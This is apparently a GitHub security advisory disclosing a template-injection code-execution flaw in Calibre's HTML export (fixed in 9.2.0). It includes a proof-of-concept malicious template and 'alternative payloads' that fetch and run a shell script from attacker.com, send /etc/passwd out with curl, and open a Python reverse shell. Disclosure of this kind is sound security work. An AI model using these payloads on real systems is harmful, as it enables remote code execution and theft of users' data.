Skip to content

Arbitrary Code Execution via Server-Side Template Injection in Calibre HTML Export

High
kovidgoyal published GHSA-xrh9-w7qx-3gcc Feb 6, 2026

Package

No package listed

Affected versions

<= 9.1.0

Patched versions

9.2.0

Description

Server-Side Template Injection (SSTI) in Templite Engine

Summary

A Server-Side Template Injection (SSTI) vulnerability in Calibre's Templite templating engine allows arbitrary code execution when a user converts an ebook using a malicious custom template file via the --template-html or --template-html-index command-line options.

Details

The Templite engine (src/templite/__init__.py) compiles and evaluates templates using Python's compile() and eval() functions without any sandboxing:

Vulnerable code in src/templite/__init__.py:

# Line 72: Template is compiled to Python code
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Line 90: Compiled code is executed via eval()
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Arbitrary code execution

Attack vector in src/calibre/ebooks/conversion/plugins/html_output.py:

# Lines 96-98: User-supplied template file is loaded
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Line 136: Template is passed to vulnerable Templite engine
templite = Templite(template_html_index_data)

The same pattern exists for --template-html option (lines 102-106, 200).

PoC

1. Create a malicious template file

Save the following as malicious_template.tmpl:

<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

2. Execute ebook conversion with malicious template

# Convert any ebook using the malicious template
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl

3. Verify code execution

cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...

Alternative payloads

# Command execution
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# File exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

Standalone verification

#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# Command execution
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render())  # Prints current username

# File read
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render())  # Prints first line of /etc/passwd

Impact

Who is impacted:

  • Users who download and use third-party HTML export templates
  • Users who use templates shared on forums, GitHub, or other sources
  • Systems running Calibre in automated pipelines with user-supplied templates

Attack scenario:

  1. Attacker creates a legitimate-looking HTML template with embedded SSTI payload
  2. Attacker shares the template on Calibre forums, Reddit, or GitHub
  3. Victim downloads template and uses it: ebook-convert book.epub out.zip --template-html=template.tmpl
  4. Arbitrary code executes with victim's privileges

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-25731

Weaknesses

No CWEs

Credits